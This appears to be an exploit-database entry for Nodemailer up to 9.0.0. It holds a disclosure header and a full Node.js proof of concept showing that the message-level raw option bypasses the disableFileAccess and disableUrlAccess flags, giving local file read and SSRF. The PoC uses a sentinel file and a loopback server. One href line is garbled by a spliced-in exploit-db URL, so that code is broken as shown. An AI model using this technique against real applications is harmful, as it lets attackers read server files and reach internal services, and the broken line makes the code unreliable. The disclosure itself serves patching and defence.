Nodemailer 9.0.0 – File Read/ SSRF
# Exploit Title: Nodemailer 9.0.0 - File Read/ SSRF # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/nodemailer/nodemailer # Software Link: https://www.npmjs.com/package/nodemailer # Version: nodemailer <= 9.0.0 (fixed 9.0.1) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-p6gq-j5cr-w38f-nodemailer MailComposer.compile() builds the raw message/rfc822 node without threading the disableFileAccess/disableUrlAccess flags, so raw:{path}/raw:{href} reads files / fetches URLs anyway. Advisory: GHSA-p6gq-j5cr-w38f. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (poc-raw-fileaccess-bypass.js) --- 'use strict'; /* * PoC — message-level `raw` option bypasses disableFileAccess / disableUrlAccess. * * Threat model: an application that accepts untrusted message data passes * `disableFileAccess: true` (and/or `disableUrlAccess: true`) to Nodemailer to * prevent that untrusted input from reading local files or fetching URLs * (the same protection the jsonTransport advisory GHSA-wqvq-jvpq-h66f is about). * * This PoC shows that a `raw: { path: <file> }` (or `{ href: <url> }`) message * is read ANYWAY, because MailComposer.compile() builds the message/rfc822 root * node WITHOUT threading the flags (lib/mail-composer/index.js:34-35), unlike * every attachment/alternative node which is created with the flags. * * Benign marker: a sentinel file in the OS temp dir whose unique nonce we look * for in the generated message. No network, no destructive action. */ const nodemailer = require('../../../nodemailer'); const fs = require('fs'); const os = require('os'); const path = require('path'); const http = require('http'); const NONCE = 'SENTINEL-' + Date.now() + '-' + Math.floor(Math.random() * 1e6); const sentinelPath = path.join(os.tmpdir(), 'nm-poc-' + NONCE + '.eml'); fs.writeFileSync(sentinelPath, 'From: a@a\r\nSubject: ' + NONCE + '\r\n\r\nbody ' + NONCE + '\r\n'); function buildMessage(data, cb) { // streamTransport => fully local, returns the generated message as a stream. const transporter = nodemailer.createTransport({ streamTransport: true, buffer: true, // The application's protective flags: disableFileAccess: true, disableUrlAccess: true }); transporter.sendMail(data, (err, info) => { if (err) return cb(err); cb(null, info.message.toString()); }); } function run() { console.log('Nodemailer version:', require('../../../nodemailer/package.json').version); console.log('Sentinel file :', sentinelPath); console.log('Nonce :', NONCE); console.log('Transporter flags : disableFileAccess=true, disableUrlAccess=true\n'); // --- CONTROL: a normal attachment with the same path MUST be rejected --- buildMessage( { from: 'a@a', to: 'b@b', subject: 'control', text: 'x', attachments: [{ path: sentinelPath }] }, (err, msg) => { const controlBlocked = !!err && err.code === 'EFILEACCESS'; console.log('[CONTROL] attachment path with disableFileAccess:'); console.log(' => ' + (controlBlocked ? 'BLOCKED (EFILEACCESS) — flag works here' : 'NOT blocked (unexpected): ' + (err && err.message))); // --- ATTACK: message-level raw with the same path --- buildMessage({ raw: { path: sentinelPath } }, (err2, msg2) => { if (err2) { console.log('\n[ATTACK] raw:{path} => error (NOT bypassed): ' + err2.code + ' ' + err2.message); return finishUrl(controlBlocked, false); } const leaked = msg2.indexOf(NONCE) !== -1; console.log('\n[ATTACK] raw:{path} with disableFileAccess=true:'); console.log(' => ' + (leaked ? 'BYPASSED — sentinel file CONTENT is present in the generated message' : 'not leaked (sentinel nonce absent)')); if (leaked) { const idx = msg2.indexOf(NONCE); console.log(' excerpt: ...' + JSON.stringify(msg2.slice(Math.max(0, idx - 20), idx + 20)) + '...'); } finishUrl(controlBlocked, leaked); }); } ); } // Second observable: disableUrlAccess bypass via raw:{href} against a LOCAL (loopback) server. function finishUrl(controlBlocked, fileLeaked) { const URLNONCE = NONCE + '-URL'; const server = http.createServer((req, res) => { res.end('From: a@a\r\nSubject: x\r\n\r\nURLBODY ' + URLNONCE + '\r\n'); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; const href = 'https://www.exploit-db.com/exploits/52654/ http://127.0.0.1 :' + port + '/sentinel'; buildMessage({ raw: { href: href } }, (err, msg) => { let urlLeaked = false; if (err) { console.log('\n[ATTACK] raw:{href} => error (NOT bypassed): ' + err.code + ' ' + err.message); } else { urlLeaked = msg.indexOf(URLNONCE) !== -1; console.log('\n[ATTACK] raw:{href} with disableUrlAccess=true (loopback server):'); console.log(' => ' + (urlLeaked ? 'BYPASSED — server-side fetched body is present in the generated message (SSRF)' : 'not leaked')); } server.close(); try { fs.unlinkSync(sentinelPath); } catch (_e) {} console.log('\n================ RESULT ================'); console.log('control attachment blocked by flag : ' + controlBlocked); console.log('raw:{path} file-access bypass : ' + fileLeaked); console.log('raw:{href} url-access bypass : ' + urlLeaked); const pass = controlBlocked && (fileLeaked || urlLeaked); console.log('VERDICT: ' + (pass ? 'CONFIRMED — raw bypasses the access flags that block attachments' : 'NOT CONFIRMED')); process.exit(pass ? 0 : 1); }); }); } run(); |